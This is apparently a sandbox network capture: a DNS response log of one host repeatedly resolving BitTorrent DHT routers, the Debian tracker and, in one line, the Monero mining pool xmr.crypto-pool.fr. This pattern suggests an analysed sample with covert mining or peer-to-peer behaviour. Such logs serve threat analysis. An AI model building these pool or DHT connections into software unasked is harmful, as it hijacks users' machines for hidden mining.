Aug 23, 2023 09:15:20.880239964 CEST	8.8.8.8	192.168.2.3	0x6118	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:15:20.880239964 CEST	8.8.8.8	192.168.2.3	0x6118	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:20.977632999 CEST	8.8.8.8	192.168.2.3	0xff38	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:20.977632999 CEST	8.8.8.8	192.168.2.3	0xff38	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:21.047619104 CEST	8.8.8.8	192.168.2.3	0x47	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:21.047619104 CEST	8.8.8.8	192.168.2.3	0x47	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:21.068490028 CEST	8.8.8.8	192.168.2.3	0x8c91	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:21.101067066 CEST	8.8.8.8	192.168.2.3	0x2d72	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:21.167603016 CEST	8.8.8.8	192.168.2.3	0xa818	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:21.188868999 CEST	8.8.8.8	192.168.2.3	0xa212	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:21.214055061 CEST	8.8.8.8	192.168.2.3	0xeaea	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:15:21.214055061 CEST	8.8.8.8	192.168.2.3	0xeaea	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:21.293600082 CEST	8.8.8.8	192.168.2.3	0xa37	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:15:21.293600082 CEST	8.8.8.8	192.168.2.3	0xa37	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:22.626229048 CEST	8.8.8.8	192.168.2.3	0x132	No error (0)	xmr.crypto-pool.fr		141.95.206.77	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:26.039576054 CEST	8.8.8.8	192.168.2.3	0xdd63	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:26.039576054 CEST	8.8.8.8	192.168.2.3	0xdd63	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:26.216026068 CEST	8.8.8.8	192.168.2.3	0x3b7a	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:26.216026068 CEST	8.8.8.8	192.168.2.3	0x3b7a	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:26.340850115 CEST	8.8.8.8	192.168.2.3	0x9802	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:26.486507893 CEST	8.8.8.8	192.168.2.3	0x57a0	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:26.580286980 CEST	8.8.8.8	192.168.2.3	0x4f9b	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:26.645869017 CEST	8.8.8.8	192.168.2.3	0xdd44	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:26.663496017 CEST	8.8.8.8	192.168.2.3	0x54f9	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:15:26.663496017 CEST	8.8.8.8	192.168.2.3	0x54f9	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:26.686393976 CEST	8.8.8.8	192.168.2.3	0xaa73	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:15:26.686393976 CEST	8.8.8.8	192.168.2.3	0xaa73	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:26.820000887 CEST	8.8.8.8	192.168.2.3	0x3274	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:26.820000887 CEST	8.8.8.8	192.168.2.3	0x3274	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:26.894478083 CEST	8.8.8.8	192.168.2.3	0xf766	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:26.894478083 CEST	8.8.8.8	192.168.2.3	0xf766	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:26.924705982 CEST	8.8.8.8	192.168.2.3	0x5365	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:26.996037960 CEST	8.8.8.8	192.168.2.3	0x39fe	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:27.014204025 CEST	8.8.8.8	192.168.2.3	0x5faa	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:27.040678978 CEST	8.8.8.8	192.168.2.3	0x21bb	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:27.077600002 CEST	8.8.8.8	192.168.2.3	0x9a8c	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:15:27.077600002 CEST	8.8.8.8	192.168.2.3	0x9a8c	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:27.322706938 CEST	8.8.8.8	192.168.2.3	0xf6e9	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:15:27.322706938 CEST	8.8.8.8	192.168.2.3	0xf6e9	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:28.548198938 CEST	8.8.8.8	192.168.2.3	0x5858	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:28.548198938 CEST	8.8.8.8	192.168.2.3	0x5858	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:28.610951900 CEST	8.8.8.8	192.168.2.3	0x66cd	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:28.610951900 CEST	8.8.8.8	192.168.2.3	0x66cd	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:28.636086941 CEST	8.8.8.8	192.168.2.3	0x820f	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:28.662328959 CEST	8.8.8.8	192.168.2.3	0xbd04	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:28.761946917 CEST	8.8.8.8	192.168.2.3	0xf2e5	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:28.801129103 CEST	8.8.8.8	192.168.2.3	0xcf95	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:28.913017988 CEST	8.8.8.8	192.168.2.3	0x9c36	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:15:28.913017988 CEST	8.8.8.8	192.168.2.3	0x9c36	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:28.988054037 CEST	8.8.8.8	192.168.2.3	0xf246	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:15:28.988054037 CEST	8.8.8.8	192.168.2.3	0xf246	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:29.029088974 CEST	8.8.8.8	192.168.2.3	0x5e62	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:29.029088974 CEST	8.8.8.8	192.168.2.3	0x5e62	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:29.108001947 CEST	8.8.8.8	192.168.2.3	0x557b	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:29.108001947 CEST	8.8.8.8	192.168.2.3	0x557b	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:29.148798943 CEST	8.8.8.8	192.168.2.3	0x63c1	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:29.226480007 CEST	8.8.8.8	192.168.2.3	0x1310	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:29.254251003 CEST	8.8.8.8	192.168.2.3	0xec78	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:29.336008072 CEST	8.8.8.8	192.168.2.3	0x4181	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:29.375307083 CEST	8.8.8.8	192.168.2.3	0xddcd	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:15:29.375307083 CEST	8.8.8.8	192.168.2.3	0xddcd	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:29.519995928 CEST	8.8.8.8	192.168.2.3	0x2801	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:15:29.519995928 CEST	8.8.8.8	192.168.2.3	0x2801	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:29.812516928 CEST	8.8.8.8	192.168.2.3	0x8aff	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:29.812516928 CEST	8.8.8.8	192.168.2.3	0x8aff	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:29.845355034 CEST	8.8.8.8	192.168.2.3	0xc889	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:29.845355034 CEST	8.8.8.8	192.168.2.3	0xc889	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:29.950167894 CEST	8.8.8.8	192.168.2.3	0x3334	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:30.040550947 CEST	8.8.8.8	192.168.2.3	0xe401	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:30.072892904 CEST	8.8.8.8	192.168.2.3	0x4cfc	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:30.851293087 CEST	8.8.8.8	192.168.2.3	0x1af9	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:31.471878052 CEST	8.8.8.8	192.168.2.3	0x2312	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:15:31.471878052 CEST	8.8.8.8	192.168.2.3	0x2312	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:33.015352964 CEST	8.8.8.8	192.168.2.3	0x5e27	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:15:33.015352964 CEST	8.8.8.8	192.168.2.3	0x5e27	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:34.866724968 CEST	8.8.8.8	192.168.2.3	0xc267	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:34.866724968 CEST	8.8.8.8	192.168.2.3	0xc267	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:34.932066917 CEST	8.8.8.8	192.168.2.3	0xaec1	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:34.932066917 CEST	8.8.8.8	192.168.2.3	0xaec1	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:34.962260008 CEST	8.8.8.8	192.168.2.3	0xf24d	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:35.067670107 CEST	8.8.8.8	192.168.2.3	0x46f9	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:35.125514030 CEST	8.8.8.8	192.168.2.3	0xdb44	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:35.148104906 CEST	8.8.8.8	192.168.2.3	0x9918	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:35.178117037 CEST	8.8.8.8	192.168.2.3	0x16d4	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:15:35.178117037 CEST	8.8.8.8	192.168.2.3	0x16d4	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:35.251593113 CEST	8.8.8.8	192.168.2.3	0xca4d	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:15:35.251593113 CEST	8.8.8.8	192.168.2.3	0xca4d	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:35.475109100 CEST	8.8.8.8	192.168.2.3	0x6344	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:35.475109100 CEST	8.8.8.8	192.168.2.3	0x6344	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:35.555614948 CEST	8.8.8.8	192.168.2.3	0x94e4	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:35.555614948 CEST	8.8.8.8	192.168.2.3	0x94e4	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:35.627784014 CEST	8.8.8.8	192.168.2.3	0xb3a8	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:35.654989004 CEST	8.8.8.8	192.168.2.3	0xaa38	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:35.719574928 CEST	8.8.8.8	192.168.2.3	0xe1be	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:35.741756916 CEST	8.8.8.8	192.168.2.3	0xb435	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:35.784779072 CEST	8.8.8.8	192.168.2.3	0x6b27	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:15:35.784779072 CEST	8.8.8.8	192.168.2.3	0x6b27	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:35.856420040 CEST	8.8.8.8	192.168.2.3	0x1aa	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:15:35.856420040 CEST	8.8.8.8	192.168.2.3	0x1aa	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:36.081773043 CEST	8.8.8.8	192.168.2.3	0x9add	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:36.081773043 CEST	8.8.8.8	192.168.2.3	0x9add	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:36.114957094 CEST	8.8.8.8	192.168.2.3	0xabf3	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:36.114957094 CEST	8.8.8.8	192.168.2.3	0xabf3	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:36.157253981 CEST	8.8.8.8	192.168.2.3	0xd95	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:36.178998947 CEST	8.8.8.8	192.168.2.3	0x436e	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:36.223421097 CEST	8.8.8.8	192.168.2.3	0x389a	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:36.282450914 CEST	8.8.8.8	192.168.2.3	0x23b5	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:36.310563087 CEST	8.8.8.8	192.168.2.3	0x242	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:15:36.310563087 CEST	8.8.8.8	192.168.2.3	0x242	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:36.330029964 CEST	8.8.8.8	192.168.2.3	0x3f38	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:15:36.330029964 CEST	8.8.8.8	192.168.2.3	0x3f38	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:37.214580059 CEST	8.8.8.8	192.168.2.3	0xe2	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:37.214580059 CEST	8.8.8.8	192.168.2.3	0xe2	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:37.248437881 CEST	8.8.8.8	192.168.2.3	0x1e3d	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:37.248437881 CEST	8.8.8.8	192.168.2.3	0x1e3d	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:37.309523106 CEST	8.8.8.8	192.168.2.3	0xaf92	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:37.344021082 CEST	8.8.8.8	192.168.2.3	0xf75	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:37.367216110 CEST	8.8.8.8	192.168.2.3	0x5a01	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:37.424771070 CEST	8.8.8.8	192.168.2.3	0x9dda	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:38.456232071 CEST	8.8.8.8	192.168.2.3	0x4f91	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:15:38.456232071 CEST	8.8.8.8	192.168.2.3	0x4f91	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:38.509896040 CEST	8.8.8.8	192.168.2.3	0x3836	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:15:38.509896040 CEST	8.8.8.8	192.168.2.3	0x3836	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:38.547772884 CEST	8.8.8.8	192.168.2.3	0xcef5	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:38.547772884 CEST	8.8.8.8	192.168.2.3	0xcef5	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:38.575643063 CEST	8.8.8.8	192.168.2.3	0x2702	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:38.575643063 CEST	8.8.8.8	192.168.2.3	0x2702	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:38.627604961 CEST	8.8.8.8	192.168.2.3	0x9284	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:38.659754038 CEST	8.8.8.8	192.168.2.3	0x40ee	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:38.693638086 CEST	8.8.8.8	192.168.2.3	0x6fbb	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:38.750639915 CEST	8.8.8.8	192.168.2.3	0xc705	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:38.786248922 CEST	8.8.8.8	192.168.2.3	0x5b2a	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:15:38.786248922 CEST	8.8.8.8	192.168.2.3	0x5b2a	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:38.867733955 CEST	8.8.8.8	192.168.2.3	0xb28	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:15:38.867733955 CEST	8.8.8.8	192.168.2.3	0xb28	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:42.527286053 CEST	8.8.8.8	192.168.2.3	0xe5b2	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:42.527286053 CEST	8.8.8.8	192.168.2.3	0xe5b2	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:42.602948904 CEST	8.8.8.8	192.168.2.3	0xa6c0	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:42.602948904 CEST	8.8.8.8	192.168.2.3	0xa6c0	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:42.629990101 CEST	8.8.8.8	192.168.2.3	0xf044	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:42.698820114 CEST	8.8.8.8	192.168.2.3	0xe7ee	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:42.719500065 CEST	8.8.8.8	192.168.2.3	0x7486	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:42.786554098 CEST	8.8.8.8	192.168.2.3	0x7527	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:42.816011906 CEST	8.8.8.8	192.168.2.3	0xa144	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:15:42.816011906 CEST	8.8.8.8	192.168.2.3	0xa144	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:42.837467909 CEST	8.8.8.8	192.168.2.3	0x86f8	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:15:42.837467909 CEST	8.8.8.8	192.168.2.3	0x86f8	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:44.528882980 CEST	8.8.8.8	192.168.2.3	0x269b	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:44.528882980 CEST	8.8.8.8	192.168.2.3	0x269b	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:44.548894882 CEST	8.8.8.8	192.168.2.3	0xd536	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:44.548894882 CEST	8.8.8.8	192.168.2.3	0xd536	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:44.632951021 CEST	8.8.8.8	192.168.2.3	0xb158	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:44.664882898 CEST	8.8.8.8	192.168.2.3	0xfc9e	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:44.740108013 CEST	8.8.8.8	192.168.2.3	0xaf56	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:44.766324997 CEST	8.8.8.8	192.168.2.3	0x5326	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:44.817572117 CEST	8.8.8.8	192.168.2.3	0x6165	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:15:44.817572117 CEST	8.8.8.8	192.168.2.3	0x6165	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:44.838819027 CEST	8.8.8.8	192.168.2.3	0xf5d3	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:15:44.838819027 CEST	8.8.8.8	192.168.2.3	0xf5d3	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:44.954693079 CEST	8.8.8.8	192.168.2.3	0x8e7	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:44.954693079 CEST	8.8.8.8	192.168.2.3	0x8e7	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:44.973105907 CEST	8.8.8.8	192.168.2.3	0x4336	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:44.973105907 CEST	8.8.8.8	192.168.2.3	0x4336	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:45.000725031 CEST	8.8.8.8	192.168.2.3	0x713b	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:45.067223072 CEST	8.8.8.8	192.168.2.3	0xaf24	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:45.091119051 CEST	8.8.8.8	192.168.2.3	0x1bff	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
